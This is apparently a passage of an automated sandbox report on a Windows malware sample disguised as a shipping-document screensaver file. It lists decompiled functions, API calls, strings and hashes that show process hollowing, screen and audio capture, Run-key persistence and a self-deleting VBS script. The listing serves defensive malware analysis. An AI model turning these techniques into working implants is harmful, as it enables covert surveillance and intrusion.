                                                                                        • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                                                                                        Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                        • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                        • String ID:
                                                                                        • API String ID: 1084509184-0
                                                                                        • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                                                                                        • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                                                                                        • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                                                                                        • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                                                                                        Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.0 Pro), ref: 0040F8E5
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: InfoLocale
                                                                                        • String ID:
                                                                                        • API String ID: 2299586839-0
                                                                                        • Opcode ID: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
                                                                                        • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                                                                                        • Opcode Fuzzy Hash: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
                                                                                        • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                                                                                        Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetUnhandledExceptionFilter.KERNEL32(Function_00034B53,0043487A), ref: 00434B4C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExceptionFilterUnhandled
                                                                                        • String ID:
                                                                                        • API String ID: 3192549508-0
                                                                                        • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                                                                                        • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                                                                                        • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                                                                                        • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                                                                                          • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                                                                                        • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                                                                                        • DeleteDC.GDI32(00000000), ref: 00418F2A
                                                                                        • DeleteDC.GDI32(00000000), ref: 00418F2D
                                                                                        • DeleteObject.GDI32(00000000), ref: 00418F30
                                                                                        • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                                                                                        • DeleteDC.GDI32(00000000), ref: 00418F62
                                                                                        • DeleteDC.GDI32(00000000), ref: 00418F65
                                                                                        • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                                                                                        • GetIconInfo.USER32(?,?), ref: 00418FBD
                                                                                        • DeleteObject.GDI32(?), ref: 00418FEC
                                                                                        • DeleteObject.GDI32(?), ref: 00418FF9
                                                                                        • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                                                                                        • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                                                                                        • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                                                                                        • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                                                                                        • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                                                                                        • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                                                                                        • DeleteDC.GDI32(?), ref: 0041917C
                                                                                        • DeleteDC.GDI32(00000000), ref: 0041917F
                                                                                        • DeleteObject.GDI32(00000000), ref: 00419182
                                                                                        • GlobalFree.KERNEL32(?), ref: 0041918D
                                                                                        • DeleteObject.GDI32(00000000), ref: 00419241
                                                                                        • GlobalFree.KERNEL32(?), ref: 00419248
                                                                                        • DeleteDC.GDI32(?), ref: 00419258
                                                                                        • DeleteDC.GDI32(00000000), ref: 00419263
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                                                                                        • String ID: DISPLAY
                                                                                        • API String ID: 479521175-865373369
                                                                                        • Opcode ID: eeea48b2f12328c67a7764adb0283258d44bef4919e0b7e4c041a6272c1fd371
                                                                                        • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                                                                                        • Opcode Fuzzy Hash: eeea48b2f12328c67a7764adb0283258d44bef4919e0b7e4c041a6272c1fd371
                                                                                        • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                                                                                        Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 00418139
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 00418161
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 00418175
                                                                                        • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                                                                                        • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                                                                                        • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                                                                                        • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                                                                                        • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                                                                                        • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                                                                                        • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                                                                                        • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                                                                                        • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                                                                                        • ResumeThread.KERNEL32(?), ref: 00418435
                                                                                        • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                                                                                        • GetCurrentProcess.KERNEL32(?), ref: 00418457
                                                                                        • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                                                                                        • GetLastError.KERNEL32 ref: 0041847A
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                                                        • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                                                        • API String ID: 4188446516-3035715614
                                                                                        • Opcode ID: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
                                                                                        • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                                                                                        • Opcode Fuzzy Hash: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
                                                                                        • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                                                                                        Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                                                                          • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                                                                                        • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                                                                                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                                                                                        • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                                                                                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
                                                                                          • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B8C7
                                                                                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5
                                                                                          • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                                                                                        • ExitProcess.KERNEL32 ref: 0040D7D0
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                        • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                        • API String ID: 1861856835-332907002
                                                                                        • Opcode ID: f06c0f3fe88489d0e2c5ffad4c1a0fc09fbad2280a0079c9fbc51da470a9490e
                                                                                        • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                                                                                        • Opcode Fuzzy Hash: f06c0f3fe88489d0e2c5ffad4c1a0fc09fbad2280a0079c9fbc51da470a9490e
                                                                                        • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                                                                                        Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                                                                          • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                                                                                        • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                                                                                        • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                                                                                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                                                                                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
                                                                                          • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B8C7
                                                                                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5
                                                                                          • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                                                                                        • ExitProcess.KERNEL32 ref: 0040D419
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                        • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                                                                                        • API String ID: 3797177996-2557013105
                                                                                        • Opcode ID: a1a0741b8aa6907e639e806891c4818a969d9db6df5c1f8137be8dc9c05249f3
                                                                                        • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                                                                                        • Opcode Fuzzy Hash: a1a0741b8aa6907e639e806891c4818a969d9db6df5c1f8137be8dc9c05249f3
                                                                                        • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                                                                                        Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                                                                                        • ExitProcess.KERNEL32(00000000), ref: 004124A0
                                                                                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                                                                                        • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                                                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 0041253B
                                                                                        • GetCurrentProcessId.KERNEL32 ref: 00412541
                                                                                        • PathFileExistsW.SHLWAPI(?), ref: 00412572
                                                                                        • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                                                                                        • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                                                                                        • lstrcatW.KERNEL32(?,.exe), ref: 00412601
                                                                                          • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
                                                                                        • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                                                                                        • Sleep.KERNEL32(000001F4), ref: 00412682
                                                                                        • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                                                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 004126A9
                                                                                        • GetCurrentProcessId.KERNEL32 ref: 004126AF
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                                                                        • String ID: .exe$8SG$WDH$exepath$open$temp_
                                                                                        • API String ID: 2649220323-436679193
                                                                                        • Opcode ID: 5afe557bd59fe2fb36d972248b29c5deb24c09acede0227067c4c091f693347a
                                                                                        • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                                                                                        • Opcode Fuzzy Hash: 5afe557bd59fe2fb36d972248b29c5deb24c09acede0227067c4c091f693347a
                                                                                        • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                                                                                        Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                                                                                        • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                                                                                        • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                                                                                        • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00474EE0,00000000), ref: 0041B18E
                                                                                        • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                                                                                        • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                                                                                        • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                                                                                        • SetEvent.KERNEL32 ref: 0041B219
                                                                                        • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                                                                                        • CloseHandle.KERNEL32 ref: 0041B23A
                                                                                        • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                                                                                        • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                        • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                                                                        • API String ID: 738084811-2094122233
                                                                                        • Opcode ID: 1af6777f4b26f00d2594b4f9da1b5597036d5e91d20fdc05908bc04bace6597c
                                                                                        • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                                                                                        • Opcode Fuzzy Hash: 1af6777f4b26f00d2594b4f9da1b5597036d5e91d20fdc05908bc04bace6597c
                                                                                        • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                                                                                        Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                                                        • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                                                                        • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                                                                        • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                                                                        • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                                                                        • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                                                                        • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                                                                        • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                                                                        • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                                                                        • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                                                                        • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                                                                        • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                                                                        • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                                                                        • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$Write$Create
                                                                                        • String ID: RIFF$WAVE$data$fmt
                                                                                        • API String ID: 1602526932-4212202414
                                                                                        • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                                                                        • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                                                                                        • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                                                                        • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                                                                                        Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe,00000001,0040764D,C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressHandleModuleProc
                                                                                        • String ID: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                                                        • API String ID: 1646373207-3517053889
                                                                                        • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                                                                        • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                                                                                        • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                                                                        • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                                                                                        Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • lstrlenW.KERNEL32(?), ref: 0041C036
                                                                                        • _memcmp.LIBVCRUNTIME ref: 0041C04E
                                                                                        • lstrlenW.KERNEL32(?), ref: 0041C067
                                                                                        • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041C0A2
                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                                                                                        • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                                                                                        • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                                                                                        • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                                                                                        • _wcslen.LIBCMT ref: 0041C13B
                                                                                        • FindVolumeClose.KERNEL32(?), ref: 0041C15B
                                                                                        • GetLastError.KERNEL32 ref: 0041C173
                                                                                        • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                                                                                        • lstrcatW.KERNEL32(?,?), ref: 0041C1B9
                                                                                        • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                                                                                        • GetLastError.KERNEL32 ref: 0041C1D0
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                                                        • String ID: ?
                                                                                        • API String ID: 3941738427-1684325040
                                                                                        • Opcode ID: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
